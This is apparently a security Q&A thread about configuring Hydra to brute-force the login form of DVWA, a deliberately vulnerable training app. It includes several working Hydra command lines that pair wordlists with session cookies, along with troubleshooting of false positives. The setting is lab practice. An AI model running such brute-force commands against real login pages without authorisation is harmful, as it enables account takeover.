I've been playing around with Hydra and DVWA and I've hit a bit of a snag - Hydra responds letting me know that the first 16 passwords in my password list are correct when none of them are.

I assume this is a syntax error, but I'm not sure if anyone has seen this before. I've followed several tutorials with no luck so I'm hoping someone where can help.

Syntax :

hydra -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect."


Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-06-05 22:30:51
[DATA] 16 tasks, 1 server, 815 login tries (l:1/p:815), ~50 tries per task
[DATA] attacking service http-get-form on port 80
[80][www-form] host:   login: admin   password: adrianna
[STATUS] attack finished for (waiting for children to finish)
[80][www-form] host:   login: admin   password: adrian
[80][www-form] host:   login: admin   password: aerobics
[80][www-form] host:   login: admin   password: academic
[80][www-form] host:   login: admin   password: access
[80][www-form] host:   login: admin   password: abc
[80][www-form] host:   login: admin   password: admin
[80][www-form] host:   login: admin   password: academia
[80][www-form] host:   login: admin   password: albatross
[80][www-form] host:   login: admin   password: alex
[80][www-form] host:   login: admin   password: airplane
[80][www-form] host:   login: admin   password: albany
[80][www-form] host:   login: admin   password: ada
[80][www-form] host:   login: admin   password: aaa
[80][www-form] host:   login: admin   password: albert
[80][www-form] host:   login: admin   password: alexander
1 of 1 target successfuly completed, 16 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-06-05 22:30:51


I was successful in brute forcing the admin credentials. Once I had authenticated to DVWA I needed to find the cookie information (easily done via your browser or Burp Suite). Once I had the cookie information I issued the following command which worked.

hydra -l admin -P /root/lower http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security;low;PHPSESSID=<value for PHP SESSID cookie"
  • That's one of the syntax I tried. Didn't work for me.
    – Adi
    Jun 6, 2013 at 13:50
  • Don't know if you've tried this, but I needed to have the Cookie security level AND the PHPSESSID value in that command to make it work. Removing either will produce the same results as my first command.
    Jun 6, 2013 at 14:57
  • Yeah, I've tried that as well. I've actually also copied the exact same command you posted and changed my server, password file, and the session cookie value. It's giving me syntax errors, maybe something is wrong with my version. But anyway, don't worry about it, I was interested in that more than 6 months ago. Currently, I use Medusa and Ncrack.
    – Adi
    Jun 6, 2013 at 15:15

3 Answers 3


Same problem happened to me when I was playing with DVWA. The reason is that you're trying to brute-force YOUR_SERVER/dvwa/vulnerabilities/brute/index.php which needs authentication. Try to visit that page in your browser and you'll be prompted to enter a username and a password (different form from the one you're trying to brute-force)

So while you're trying to brute-force this:

Hydra is actually "seeing" this:

On the second form you won't get the message "Username and/or password incorrect.", which you told Hydra to use to differentiate between failed and successful logins. Hydra doesn't see that failed login message, so it's assuming that the login was successful.

So you need to login using a browser, get the session cookie (by default, PHPSESSID) , and feed it to Hydra, and then Hydra will be able to "see" the first form.

Supposedly, you can set the cookie in the HTTP headers in Hydra by doing H=Cookie:NAME=VALUE or pointing Hydra to a file which sets the cookie by doing C=/path/to/file. Unfortunately, non of these worked for me.

After getting frustrated, I ended up commenting Line: 5 (dvwaPageStartup) in the file /dvwa/vulnerabilities/brute/index.php, which allowed Hydra to see the actual vulnerable login form.

  • ah ha! This input was very helpful - I've managed to get the proper syntax and will post in my question. Feel free to try to let me know if you have any luck!
    Jun 6, 2013 at 13:10
  • 1
    Wait.. So you have to log in, in order to break in? Doesn't that defeat the whole purpose? Or am i missing something?
    – voices
    Feb 11, 2016 at 5:17
  • 1
    @tjt263 You're missing the part where there two login forms. One to login and interact with DVWA itself, and the second one is the brute-forcable one.
    – Adi
    Feb 11, 2016 at 8:35

This is what worked for me:

hydra -l admin -P /home/user/Downloads/pass.txt http-get-form "/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low;PHPSESSID=n5ggv5f2b3vcrl9fe15nqu6v95"


It seems that Hydra is very unforgiving when it comes down to syntax. You can use the "URL like" format to specify the module, host and path.

It took me a while to get there, but this is what worked for me (hackme is the host):

hydra -V -l smithy -P /usr/share/wordlists/rockyou.txt "http-get-form://hackme/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=07b7ebb2faea96f8471ecdb759e68108; security=low"

Edit April 2015

Seems like they've changed it and the above format no longer works. However, this is accepted:

hydra hackme -V -l smithy -P /usr/share/wordlists/rockyou.txt http-get-form "/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=07b7ebb2faea96f8471ecdb759e68108; security=low"

The gotcha that I fell for was spending so long in debugging that my PHP Session ID had timed out. Once I'd refreshed this it started working.

The other gotcha was when I was debugging using Wireshark - I was taking the first HTTP request and wondered why the username and password parameters weren't passed. It appears that Hydra makes a HTTP request to the URL without parameters first.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .